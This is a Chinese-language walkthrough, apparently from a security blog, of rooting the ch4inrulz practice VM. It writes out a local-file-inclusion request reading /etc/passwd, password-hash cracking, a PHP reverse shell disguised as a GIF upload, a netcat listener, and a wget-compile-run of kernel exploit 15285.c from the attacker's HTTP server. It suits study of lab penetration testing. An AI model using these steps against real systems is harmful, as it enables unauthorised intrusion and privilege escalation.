靶機滲透測試實戰-hack the ch4inrulz
大家好,從本篇文章開始,我將做一個靶機滲透實戰系列,廢話不多說,直奔主題,我們今天的靶機是ch4inrulz,靶機下載地址在這裡(請到原文查看)。
這次靶機實戰的目的是獲取root許可權併入讀flag中的信息。
本次實驗難度適中,沒有緩衝區溢出漏洞,也不需要我們進行exp編寫,但是也能讓我們進行一些思考。
首先說下這個靶機滲透的幾個步驟:
1. 埠掃面和確定IP地址
2. 80埠目錄遍歷
3. 8011埠目錄遍歷
4. 尋找LFI漏洞
5. 發現HTML備份文件
6. 破解密碼hash
7. 登錄開發頁面
8. 上傳偽裝成GIF圖片的PHP shell
9. 繞過檢查,利用LFI漏洞獲取nc shell
10. 提權並獲取flag信息
好了,現在開始搞事情
首先,按照常規套路,使用netdiscover工具進行網路掃描來發現靶機的IP地址。在我這個例子中,IP是192.168.1.103,如圖:
找到IP之後,我們就用nmap來進行埠掃描
可以看到開放了21,22,80,8011埠。既然開了80埠,那我們就用瀏覽器訪問以下,可以看到一個主頁,看起來像是一份簡歷,如圖:
探索一番,沒有發現什麼東西,那我們就進行目錄遍歷,這裡使用kali自帶的dirb工具,如圖:
發現了robots.txt文件,不過也沒有什麼東西。另外一個目錄是/development,這個目錄有點意思,訪問這個目錄,彈框要求進行身份驗證,應該是一個測試頁面。
因為我們現在沒有憑證,所以只能先放著,看看一會兒是否會有收穫。
我們再來看看8011埠,直接訪問主頁也沒什麼東西,好像是一個後端開發部署頁面,如圖:
我們還是用dirb進行目錄遍歷,如圖:
發現了一個/api目錄,憑經驗,這個目錄肯定有線索,直接訪問,得到如下內容:
把這幾個目錄挨個訪問以下,發現只有files_api.php有用,訪問後內得到如下頁面:
意思就是沒有傳遞file參數。這麼一說,很明顯是要我們傳遞file參數,那我們直接在URL後面添加file參數,請求URL如下:
192.168.1.103:8011/api/files_api.php?file=/etc/passwd
結果如圖:
然而並沒有卵用,顯示輸入錯誤,還把IP給記錄下來了。通常情況下,既然get方式傳參不行,那我們試一下post傳參,我們使用curl工具來實現,命令如下:
curl – X POST –d "file=/etc/passwd" http://192.168.1.103:8011/api/files_api.php
可以看到,我們讀取到了/etc/passwd,證明存在LFI本地包含漏洞。
針對這個LFI漏洞,我們嘗試了一些方法,但是都無果。
我們將它保存下來,並且用cat命令讀取內容:
太好了,可以看到存在密碼hash,那還等什麼,趕緊把hash值拷到hash.txt文件中,然後用John the Ripper進行破解:
破解出來是frank:frank!!!
這應該就是/development彈框時的用戶名和密碼了,我們登錄試試:
果不其然,我們登錄進來了,如圖:
頁面信息告訴我們,這個上傳工具只完成了一半,那我們進入這個uploader看看,如圖:
竟然是一個文件上傳頁,這裡對文件上傳類型做了限制,只允許上傳jpg,png和gif,文件大小也做了限制。
看看如何來繞過限制?
我是這麼做的,切換到kali自帶的webshell目錄下,也就是/usr/share/webshells/php,找到php反彈shell的文件php-reverse-shell.php,用編輯器打開該文件,在文件第一行插入gif圖標誌GIF98,並且保存為shell.gif圖片格式,如圖:
這麼做就可以讓uploader驗證機制認為這是一個正常的圖片,而實際上,卻是PHP反彈shell文件。
現在我們便使用uploader將圖片上傳到伺服器,收到如下響應:
信息表明,文件已經成功上傳到我的uploads路徑下。
現在我們把目前收集到的信息小小總結回顧一下:
網站名:Frank』s website
Uploader名:Frank uploader
網站第一條信息:I love patterns
這裡猜測上傳路徑花了一些時間,不過最後還是猜出來了,上傳目錄應該就是frank uploads。但是具體的大小寫並不清楚,所以我們嘗試了很多遍,如Frankupload,frankUploads,franksuploads等等,最後試出來的是FRANKuploads。
這一步筆記枯燥也很費時間,但是也沒有別的辦法能夠直接爆出路徑,現在我們訪問這個路徑來看下:
現在萬事具備,只欠觸發這個偽裝成gif的PHP後門。直接訪問肯定是沒用的,我們還是通過curl這個工具來發起請求:
curl –X POST –d "file=/var/www/development/uploader/FRANKuploads/shell.gif" http://192.168.1.103:8011/api/files_api.php
同時,我們在本機使用nc監聽1234埠(跟反彈shell的PHP文件保持一樣),如圖:
nc -lvp 1234
一旦curl觸發LFI漏洞,向shell.gif發起請求,很快我們就獲得了一個nc會話!如圖所示,我們用id命令來查看用戶信息,並且使用了python命令來進入伺服器的bash shell,
Python –c "import pty;pty.spawn("/bin/bash");"
進入到伺服器的shell後,我們使用uname –a命令來查看下系統內核版本,如上圖可以看出版本是Linux2.6.35,Google一下可以知道這個版本存在漏洞,對應的提權exp是15285.c。
我們在kali中利用searchsploit工具搜索一下這個exp,然後執行下列操作:
searchsploit 15285
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/15285.c .
python –m SimpleHTTPServer 80
這幾條命令的意思是,搜索15285這個exp,切換到桌面,將exp拷貝到桌面,然後以桌面為網站絕對路徑開啟HTTP服務。
接著,在我們剛剛利用nc獲取到的shell中來下載這個exp,也就是下載到目標機上,編譯exp並執行,得以提權成功,執行的命令如下:
cd tmp
wget http://192.168.1.107/15285.c
gcc 15285.c –o 15285
chmod 777 15285
./15285
執行之後我們便獲得了root許可權,cd到root,便可以看到flag文件,讀取到flag文件內容,如圖:
本次靶機實驗到此結束,各位白帽子們也可以下載靶機玩耍。
※惡意宏劫持桌面快捷方式傳播後門
※不斷演變的廣告軟體——PBot
TAG:嘶吼RoarTalk |